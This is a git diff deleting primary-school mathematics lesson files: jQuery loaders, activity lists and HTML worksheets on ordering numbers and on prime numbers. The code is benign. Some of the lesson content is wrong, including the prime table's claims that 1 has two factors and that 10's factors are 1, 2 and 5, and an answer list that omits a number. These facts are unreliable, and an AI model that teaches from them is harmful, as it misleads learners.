-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m05/map511m5a14/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a14/source.txt b/Save_Mathematics/P5/map511m05/map511m5a14/source.txt
deleted file mode 100644
index a1e530d..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a14/source.txt
+++ /dev/null
@@ -1,99 +0,0 @@
-<p>
- Study the following table and fill in place of ?
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    multiple of
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    12
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    15
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    18
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    27
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    sum
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1+2
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1+5
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1+8
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2+1
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2+4
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2+7
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    sum
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    ?
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m06/activities.js b/Save_Mathematics/P5/map511m06/activities.js
deleted file mode 100755
index 7671067..0000000
--- a/Save_Mathematics/P5/map511m06/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m6a01','blue'],
-['2','2','map5','basic','map511m6a02','blue'],
-['3','3','map5','basic','map511m6a03','blue'],
-['4','4','map5','basic','map511m6a04','blue'],
-['5','5','map5','basic','map511m6a05','blue'],
-['6','6','map5','basic','map511m6a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m06/map511m6a01/a.txt b/Save_Mathematics/P5/map511m06/map511m6a01/a.txt
deleted file mode 100644
index fd43694..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a01/a.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-Introduction
-
-In our daily life,we usually make a comparison of two or more numbers by finding the greatest and smallest or equality of numbers formed by different digits.For ordering numbers,you can start from the biggest to the smallest.
-
-The symbols are used in comparison:Greater than(>),less than(<) or equal to (=)
-
-Examples:Arrange the following numbers from the biggest to the smallest.
-a)7500;6340;2875;6320;8730;7200
-b)12321;10350;17765;9987;11389
-
-
-ANSWERS
-
-a)8730;7500;7200;6340;6320;2875
-b)17765;12321;11389;10350;9987
-
-RULE:For figures having the same number of digits.A number is greater than the other if the first digit in the same place value is greater.
-4076<4265<4695<47320
-
-Figures which do not have the same number of digits .The one having the highest number of digits is the one which is greater than the other.
-95470>74320>6750>4500
diff --git a/Save_Mathematics/P5/map511m06/map511m6a01/description.py b/Save_Mathematics/P5/map511m06/map511m6a01/description.py
deleted file mode 100644
index f6bc480..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m6a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m06/map511m6a01/lesson.js b/Save_Mathematics/P5/map511m06/map511m6a01/lesson.js
deleted file mode 100644
index c62962f..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m06/map511m6a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m06/map511m6a01/source.txt b/Save_Mathematics/P5/map511m06/map511m6a01/source.txt
deleted file mode 100644
index fd43694..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a01/source.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-Introduction
-
-In our daily life,we usually make a comparison of two or more numbers by finding the greatest and smallest or equality of numbers formed by different digits.For ordering numbers,you can start from the biggest to the smallest.
-
-The symbols are used in comparison:Greater than(>),less than(<) or equal to (=)
-
-Examples:Arrange the following numbers from the biggest to the smallest.
-a)7500;6340;2875;6320;8730;7200
-b)12321;10350;17765;9987;11389
-
-
-ANSWERS
-
-a)8730;7500;7200;6340;6320;2875
-b)17765;12321;11389;10350;9987
-
-RULE:For figures having the same number of digits.A number is greater than the other if the first digit in the same place value is greater.
-4076<4265<4695<47320
-
-Figures which do not have the same number of digits .The one having the highest number of digits is the one which is greater than the other.
-95470>74320>6750>4500
diff --git a/Save_Mathematics/P5/map511m06/map511m6a02/a.txt b/Save_Mathematics/P5/map511m06/map511m6a02/a.txt
deleted file mode 100644
index de738a4..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a02/a.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Examples
- </span>
- :1)Arrange the following numbers in ascending order.
- <br />
- a)14340;12340;10250;14440;10000
- <br />
- b)8500;7340;10200;9400;12000
- <br />
- <br />
- 2)Compare the following numbers from the biggest to the smallest by using &gt;,&lt; or=
- <br />
- a)8670 5640;
- <br />
- <br />
- b)7850 9706
- <br />
- <br />
- c)6740 6704
- <br />
- <br />
- b)23500 35400
- <br />
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1.a)10000;10250;12340;14340;14440
- <br />
- b)7340;8500;9400;12000
- <br />
- <br />
- 2.a8670&gt;5640
- <br />
- <br />
- b)7850&lt;9706
- <br />
- <br />
- c)6740&gt;6704
- <br />
- <br />
- d)23500&lt;35400
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m06/map511m6a02/description.py b/Save_Mathematics/P5/map511m06/map511m6a02/description.py
deleted file mode 100644
index eeb4581..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m6a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m06/map511m6a02/lesson.js b/Save_Mathematics/P5/map511m06/map511m6a02/lesson.js
deleted file mode 100644
index b04dadf..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m06/map511m6a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m06/map511m6a02/source.txt b/Save_Mathematics/P5/map511m06/map511m6a02/source.txt
deleted file mode 100644
index de738a4..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a02/source.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Examples
- </span>
- :1)Arrange the following numbers in ascending order.
- <br />
- a)14340;12340;10250;14440;10000
- <br />
- b)8500;7340;10200;9400;12000
- <br />
- <br />
- 2)Compare the following numbers from the biggest to the smallest by using &gt;,&lt; or=
- <br />
- a)8670 5640;
- <br />
- <br />
- b)7850 9706
- <br />
- <br />
- c)6740 6704
- <br />
- <br />
- b)23500 35400
- <br />
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1.a)10000;10250;12340;14340;14440
- <br />
- b)7340;8500;9400;12000
- <br />
- <br />
- 2.a8670&gt;5640
- <br />
- <br />
- b)7850&lt;9706
- <br />
- <br />
- c)6740&gt;6704
- <br />
- <br />
- d)23500&lt;35400
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m06/map511m6a03/a.txt b/Save_Mathematics/P5/map511m06/map511m6a03/a.txt
deleted file mode 100644
index 7e3d08c..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a03/a.txt
+++ /dev/null
@@ -1,37 +0,0 @@
-<p>
- 1.Compare the following numbers using&lt;,&gt;or=
- <br />
- <br />
- a)745320 854220
- <br />
- <br />
- b)540350 457800
- <br />
- <br />
- c)150650 117450
- <br />
- <br />
- d)320400 320000
- <br />
- <br />
- e)143504 154750
- <br />
- <br />
- <br />
- <br />
- 2.Arrange the following numbers in descending order;
- <br />
- <br />
- a)24400;23400;22300;20000;21200
- <br />
- b)55200;47500;50500;52300;64500
- <br />
- <br />
- <br />
- 3.Arrange the following numbers from the smallest to the biggest;
- <br />
- <br />
- a)47320;44570;48640;49950;44320
- <br />
- b)68400;69500;40900;47900;56600
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m06/map511m6a03/description.py b/Save_Mathematics/P5/map511m06/map511m6a03/description.py
deleted file mode 100644
index b04af58..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m6a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m06/map511m6a03/lesson.js b/Save_Mathematics/P5/map511m06/map511m6a03/lesson.js
deleted file mode 100644
index d3704b9..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m06/map511m6a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m06/map511m6a03/source.txt b/Save_Mathematics/P5/map511m06/map511m6a03/source.txt
deleted file mode 100644
index 7e3d08c..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a03/source.txt
+++ /dev/null
@@ -1,37 +0,0 @@
-<p>
- 1.Compare the following numbers using&lt;,&gt;or=
- <br />
- <br />
- a)745320 854220
- <br />
- <br />
- b)540350 457800
- <br />
- <br />
- c)150650 117450
- <br />
- <br />
- d)320400 320000
- <br />
- <br />
- e)143504 154750
- <br />
- <br />
- <br />
- <br />
- 2.Arrange the following numbers in descending order;
- <br />
- <br />
- a)24400;23400;22300;20000;21200
- <br />
- b)55200;47500;50500;52300;64500
- <br />
- <br />
- <br />
- 3.Arrange the following numbers from the smallest to the biggest;
- <br />
- <br />
- a)47320;44570;48640;49950;44320
- <br />
- b)68400;69500;40900;47900;56600
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m06/map511m6a04/a.txt b/Save_Mathematics/P5/map511m06/map511m6a04/a.txt
deleted file mode 100644
index 2c606db..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a04/a.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<p>
- 1.Compare the following numbers using the symbols &gt;,&lt; or =
- <br />
- <br />
- a)12500+34000..........46500
- <br />
- b)462300.............34200+204000
- <br />
- c)199399............ 199999
- <br />
- d)600400......... 640064
- <br />
- e)542645-45000..........542000
- <br />
- <br />
- <br />
- 2.Arrange the following numbers from the greatest to the smallest.
- <br />
- a)35200;32500;30600;31650;36520
- <br />
- b)48840;45320;49060;47360;42300
- <br />
- <br />
- 3.Arrange the following numbers in decreasing order;
- <br />
- a)29540;20340;21660;27940;30440
- <br />
- b)8300;5700;9900;10000;6990;7400
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m06/map511m6a04/description.py b/Save_Mathematics/P5/map511m06/map511m6a04/description.py
deleted file mode 100644
index ddaecf4..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m6a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m06/map511m6a04/lesson.js b/Save_Mathematics/P5/map511m06/map511m6a04/lesson.js
deleted file mode 100644
index e2c5356..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m06/map511m6a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m06/map511m6a04/source.txt b/Save_Mathematics/P5/map511m06/map511m6a04/source.txt
deleted file mode 100644
index 2c606db..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a04/source.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<p>
- 1.Compare the following numbers using the symbols &gt;,&lt; or =
- <br />
- <br />
- a)12500+34000..........46500
- <br />
- b)462300.............34200+204000
- <br />
- c)199399............ 199999
- <br />
- d)600400......... 640064
- <br />
- e)542645-45000..........542000
- <br />
- <br />
- <br />
- 2.Arrange the following numbers from the greatest to the smallest.
- <br />
- a)35200;32500;30600;31650;36520
- <br />
- b)48840;45320;49060;47360;42300
- <br />
- <br />
- 3.Arrange the following numbers in decreasing order;
- <br />
- a)29540;20340;21660;27940;30440
- <br />
- b)8300;5700;9900;10000;6990;7400
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m06/map511m6a05/a.txt b/Save_Mathematics/P5/map511m06/map511m6a05/a.txt
deleted file mode 100644
index a11227f..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a05/a.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<div class="box generalbox generalboxcontent boxaligncenter clearfix">
- 1.Compare the following numbers using &gt;,&lt; or =
- <br />
- a)25750+23040.........49340
- <br />
- b)540300...........740000-34240
- <br />
- c)174440...........174441
- <br />
- d)284450............278450
- <br />
- e)165400............165004
- <br />
- <br />
- <br />
- 2.Arrange the following numbers in increasing order;
- <br />
- a)69345;49365;74165;55970;71900
- <br />
- b)37000;32700;30700;38700;30800
- <br />
- <br />
- <br />
- 3.Arrange the following numbers from greatest to the smallest
- <br />
- a)904750;990400;975500;987500;900000
- <br />
- b)740000;704400;710220;750100;733600
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m06/map511m6a05/description.py b/Save_Mathematics/P5/map511m06/map511m6a05/description.py
deleted file mode 100644
index db3bd6c..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m6a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m06/map511m6a05/lesson.js b/Save_Mathematics/P5/map511m06/map511m6a05/lesson.js
deleted file mode 100644
index 3da9fe5..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m06/map511m6a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m06/map511m6a05/source.txt b/Save_Mathematics/P5/map511m06/map511m6a05/source.txt
deleted file mode 100644
index a11227f..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a05/source.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<div class="box generalbox generalboxcontent boxaligncenter clearfix">
- 1.Compare the following numbers using &gt;,&lt; or =
- <br />
- a)25750+23040.........49340
- <br />
- b)540300...........740000-34240
- <br />
- c)174440...........174441
- <br />
- d)284450............278450
- <br />
- e)165400............165004
- <br />
- <br />
- <br />
- 2.Arrange the following numbers in increasing order;
- <br />
- a)69345;49365;74165;55970;71900
- <br />
- b)37000;32700;30700;38700;30800
- <br />
- <br />
- <br />
- 3.Arrange the following numbers from greatest to the smallest
- <br />
- a)904750;990400;975500;987500;900000
- <br />
- b)740000;704400;710220;750100;733600
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m06/map511m6a06/a.txt b/Save_Mathematics/P5/map511m06/map511m6a06/a.txt
deleted file mode 100644
index 3e06756..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a06/a.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<p>
- 1.Compare the following numbers using &gt;,&lt; or =
- <br />
- a)14500..........12000+34500
- <br />
- b)24300+2500..........49950
- <br />
- c)78500-12500.........38330
- <br />
- d)84500...............84575
- <br />
- e)76500...............3252&times;2
- <br />
- <br />
- <br />
- 2.Arrange the following numbers from the greatest to the smallest.
- <br />
- a)175000;137500;289650;183400;196750
- <br />
- b)87500;36850;25763;90500;77650
- <br />
- <br />
- <br />
- 3.Arrange the following numbers in decreasing order;
- <br />
- a)32500;17850;19950;45300;34450
- <br />
- b)186000;99600;76380;26026075;17800
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m06/map511m6a06/description.py b/Save_Mathematics/P5/map511m06/map511m6a06/description.py
deleted file mode 100644
index 171d104..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m6a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m06/map511m6a06/lesson.js b/Save_Mathematics/P5/map511m06/map511m6a06/lesson.js
deleted file mode 100644
index 6954d93..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m06/map511m6a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m06/map511m6a06/source.txt b/Save_Mathematics/P5/map511m06/map511m6a06/source.txt
deleted file mode 100644
index 3e06756..0000000
--- a/Save_Mathematics/P5/map511m06/map511m6a06/source.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<p>
- 1.Compare the following numbers using &gt;,&lt; or =
- <br />
- a)14500..........12000+34500
- <br />
- b)24300+2500..........49950
- <br />
- c)78500-12500.........38330
- <br />
- d)84500...............84575
- <br />
- e)76500...............3252&times;2
- <br />
- <br />
- <br />
- 2.Arrange the following numbers from the greatest to the smallest.
- <br />
- a)175000;137500;289650;183400;196750
- <br />
- b)87500;36850;25763;90500;77650
- <br />
- <br />
- <br />
- 3.Arrange the following numbers in decreasing order;
- <br />
- a)32500;17850;19950;45300;34450
- <br />
- b)186000;99600;76380;26026075;17800
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/activities.js b/Save_Mathematics/P5/map511m07/activities.js
deleted file mode 100755
index b98bc40..0000000
--- a/Save_Mathematics/P5/map511m07/activities.js
+++ /dev/null
@@ -1,12 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m7a01','blue'],
-['2','2','map5','basic','map511m7a02','blue'],
-['3','3','map5','basic','map511m7a03','blue'],
-['4','4','map5','basic','map511m7a04','blue'],
-['5','5','map5','basic','map511m7a05','blue'],
-['6','6','map5','basic','map511m7a06','blue'],
-['7','7','map5','basic','map511m7a07','blue'],
-['8','8','map5','basic','map511m7a08','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m07/map511m7a01/a.txt b/Save_Mathematics/P5/map511m07/map511m7a01/a.txt
deleted file mode 100644
index bee5666..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a01/a.txt
+++ /dev/null
@@ -1,272 +0,0 @@
-<p>
- there are some numbers that can divide by one and itself without another.When we try to divide by other numbers it gives the remainder.
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- 29,23,19,17,13,11,7,5,etc
- <br />
- the following numbers are called
- <span style="text-decoration: underline; font-weight: bold;">
-  PRIME NUMBERS
- </span>
- <br />
- Study the following table and say if there are prime or not.
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    numbers
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    set of factors
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    number of factors
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    type of number
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (0)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    one factor
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    not prime
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    two factors
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;2)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Two factors
-   </td>
-   <td width="25%" valign="top">
-    prime
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;3)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    two factors
-   </td>
-   <td width="25%" valign="top">
-    prime
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;2;4)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Three factors
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;5)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    two factors
-   </td>
-   <td width="25%" valign="top">
-    prime
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;2;3;6)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    four factors
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;7)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Two factors
-   </td>
-   <td width="25%" valign="top">
-    prime
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;2;4;8)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    four factors
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;3;9)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    three factors
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    10
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;2;5)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Three factors
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    11
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;11)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    two factors
-   </td>
-   <td width="25%" valign="top">
-    prime
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    12
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;2;3;4;6;12)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    six factors
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- What is a Prime number?
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Meaning
- </span>
- :A prime is a number that can be divide by one and itself.
- <br />
- <br />
- Rules:1. A prime number has only two factors
- <br />
- 2.Numbers with more than two factors are called
- <span style="font-weight: bold;">
-  COMPOSITE NUMBERS
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a01/description.py b/Save_Mathematics/P5/map511m07/map511m7a01/description.py
deleted file mode 100644
index 4d994d2..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m7a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m07/map511m7a01/lesson.js b/Save_Mathematics/P5/map511m07/map511m7a01/lesson.js
deleted file mode 100644
index 321e060..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m07/map511m7a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m07/map511m7a01/source.txt b/Save_Mathematics/P5/map511m07/map511m7a01/source.txt
deleted file mode 100644
index bee5666..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a01/source.txt
+++ /dev/null
@@ -1,272 +0,0 @@
-<p>
- there are some numbers that can divide by one and itself without another.When we try to divide by other numbers it gives the remainder.
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- 29,23,19,17,13,11,7,5,etc
- <br />
- the following numbers are called
- <span style="text-decoration: underline; font-weight: bold;">
-  PRIME NUMBERS
- </span>
- <br />
- Study the following table and say if there are prime or not.
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    numbers
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    set of factors
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    number of factors
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    type of number
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (0)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    one factor
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    not prime
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    two factors
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;2)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Two factors
-   </td>
-   <td width="25%" valign="top">
-    prime
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;3)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    two factors
-   </td>
-   <td width="25%" valign="top">
-    prime
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;2;4)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Three factors
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;5)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    two factors
-   </td>
-   <td width="25%" valign="top">
-    prime
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;2;3;6)
-    <br />
